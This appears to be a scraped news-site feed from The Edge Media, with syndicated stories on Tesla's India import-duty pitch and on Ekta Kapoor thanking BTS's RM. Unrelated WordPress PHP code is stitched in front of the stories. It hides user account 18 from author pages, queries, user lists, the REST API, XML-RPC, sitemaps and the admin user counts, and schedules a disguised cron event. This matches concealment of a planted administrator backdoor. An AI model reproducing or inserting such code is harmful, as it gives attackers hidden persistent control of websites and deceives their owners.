add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Elon Musk gives reply about launching Tesla in India appeared first on The Edge Media.
]]>The electric-car maker’s pitch to lower duties, however, is likely to face resistance from Prime Minister Narendra Modi’s administration which has championed high import taxes for many industries in a bid to boost local manufacturing.
“We want to do so, but import duties are the highest in the world by far of any large country,” Musk said in reply to a tweet about launching the company’s cars in India.
“But we are hopeful that there will be at least a temporary tariff relief for electric vehicles,” Musk added.
Other luxury automakers in India have also lobbied the government in the past to lower taxes on imported cars but have had little success due to opposition from rivals with domestic operations.
Tesla, which aims to begin sales in India this year, said in a letter to ministries and the country’s leading think-tank Niti Aayog that slashing federal taxes on imports of fully assembled electric cars to 40% would be more appropriate, according to the sources.
(Except for the headline, this story has not been edited by The Edge Media staff and is published from a syndicated feed.)
The post Elon Musk gives reply about launching Tesla in India appeared first on The Edge Media.
]]>The post Ekta Kapoor thanks RM of BTS for showering love on Ek Villian’s song appeared first on The Edge Media.
]]>She took to Twitter and thanked the rapper. Retweeting a fan translation of the post and RM’s reaction, Ekta said, “Thank you, RM of @BTS_twt for showering love on #EkVillian’s #Humdard and proving once again, that when it comes to music, there are no boundaries! #BTS.”

The lyrics of the song were: “Teri muskurahatein hain taaqat meri, Mujhko inhi se ummeed mili, Chaahe kare koi sitam ye jahaan, Inme hi hai sadaa hifaazat meri, Zindagani badi khoobsurat hui, Jannat ab aur kya hogi kahin (loosely translating to your joys are my strength, I gained hope from them. Regardless of the hurdles faced, I find my safety in them, my life is beautiful, now where else would be heaven)”.
Responding to the last line, RM said, “Heaven is right here,” along with a purple heart emoji. His response left the Indian fan emotional and several other Indian BTS fans.
Meanwhile, BTS boy band enjoys a massive fanbase in India. This year they have addressed their Indian fans a few times.
The Army’s recent song Butter has been topping Billboard Hot 100 chart for seven weeks. The song is also number 10 on the Pop Airplay chart, their second song so far to enter the top 10. This makes them the first Korean act to have multiple entries in the top 10 of the Pop Airplay chart.
The post Ekta Kapoor thanks RM of BTS for showering love on Ek Villian’s song appeared first on The Edge Media.
]]>